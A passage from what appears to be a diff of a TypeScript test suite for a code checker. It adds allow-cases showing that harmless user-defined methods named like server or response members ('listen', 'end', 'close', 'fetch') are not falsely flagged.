allow('extra parameter false positives', 'user-defined method named like an allowed server member on an unprivileged receiver', withServer(`const o = { listen: () => ({ on: (x: string) => x }) };\no.listen().on('x');\nserver.close();`)), + allow('extra parameter false positives', 'user-defined method named like an allowed response member on an unprivileged receiver', inListener(`const box = { end: () => ({ socket: 1 }) };\nbox.end().socket;\nresponse.end();`)), + allow('extra parameter false positives', 'call result of an unrelated const receiver', withServer(`const o = { close: () => ({ address: () => 1 }) };\nconst r = o.close();\nr.address();\nserver.close();`)), + allow('extra parameter false positives', 'user-defined method call result on a shadowed global name', `const self = { valueOf: () => ({ fetch: 1 }) };\nconst v = self.valueOf();\nv.fetch;`), ]; // ---------------------------------------------------------------------------